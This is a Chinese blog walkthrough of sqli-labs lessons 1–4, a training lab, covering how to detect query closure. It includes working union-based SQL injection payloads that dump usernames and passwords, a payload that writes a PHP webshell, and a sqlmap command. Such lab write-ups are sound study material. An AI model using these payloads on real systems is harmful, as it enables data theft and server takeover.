sqli-labs通关全解---sql语句闭合方式判断+1-4--2

sql语句的闭合方式对应sql注入的类型,是进行sql注入的第一步操作,经过sqli-labs靶场的训练,加上查询网络资料,小编总结了一些常见的闭合判断方式。

这里列出一些题目中的查询语句

Less1---单引号
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
Less2---无符号
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less3---')
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
Less4---")
$id=$_GET['id'];
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
Less6---"
$id=$_GET['id'];
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
Less7---'))
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

在做题的过程中遇到的闭合符号多为以下7种
' " 无符号 ) ') ") '))

方案一:

需要靶场会对 sql语句错误信息进行回显,也是最简单的判断方式

首先尝试:

?id=1’
?id=1”

1、如果都报错,则为整形闭合。

2、如果单引号报错,双引号不报错。
然后尝试

?id=1’–+

无报错则单引号闭合。报错则单引号加括号。

3、如果单引号不报错,双引号报错。
然后尝试

?id=1"–+

无报错则双引号闭合。报错则双引号加括号。


方案二:

需要靶场对查询结果进行回显

?id=2'&&'1'='1

 如果闭合符号是’,返回结果是id=2的结果,闭合符号是'),则语句变为('2'&&'1'='1'),Mysql将2作为布尔值,返回的是id=1的结果。tip:该方案无法判断括号的个数

方案三:

使用空字符直接对sql语句进行截断,需要要求靶场允许传入空字符

?id=1';%00和id=1')%00

谁回显正常,就是谁,只有输入完全正确的时候才能正常显示,可以比较准确的判段括号个数

方案四

该方案只针对于对数字型的判断

and 1=1 和 and 1=2

当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误但是逻辑判断为假,所以返回错误。

sql-labs中的1-4题主要为对闭合方式的判断,可以通过以上方式,实现注入,以下 以less1为例,其他三题操作相同

Less-1-Error based-Single quotes 

判定注入点:http://127.0.0.1/sqli-labs/Less-1/?id=1 出现回显

http://127.0.0.1/sqli-labs/Less-1/?id=1%27

发现 报错注入,同时可以看出,sql语句中对回显数量进行了限制,无法直接通过万能钥匙脱库,同时通过报错信息,可以判断闭合方式为单引号

确定当前数据库

-1' union select 1,2,database()-- s(--和s之间的空格不能省略)

获得数据表的名字

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- s

获得每个数据表的字段数量和名称;

-1' union select 1,COUNT(*),group_concat(column_name) from information_schema.columns where table_schema=database() -- s

获得user数据库中全部的数据

 -1' union select group_concat(id),group_concat(username),group_concat(password) from users-- s

写入webshell木马

id=-1' union select 1,2,'<?php assert($_POST[less1]);?>' into outfile 'less1.php'-- s

一般会出现问题:

The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

在安装MySQL的时候限制了导入与导出的目录权限。只允许在规定的目录下才能导入。

可以通过以下命令查看secure-file-priv当前的值是什么

SHOW VARIABLES LIKE "secure_file_priv";

(1)NULL,表示禁止。

(2)如果value值有文件夹目录,则表示只允许该目录下文件(PS:测试子目录也不行)。

(3)如果为空,则表示不限制目录。

sqlmap攻击:

命令:sqlmap -u http://192.168.43.197/sqli-labs/Less-1/?id=

可以看到sqlmap检测到了bool盲注,报错注入,时间盲注和联合注入。同时提供了相应的payload,可以通过 --dbs等参数获取数据 

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值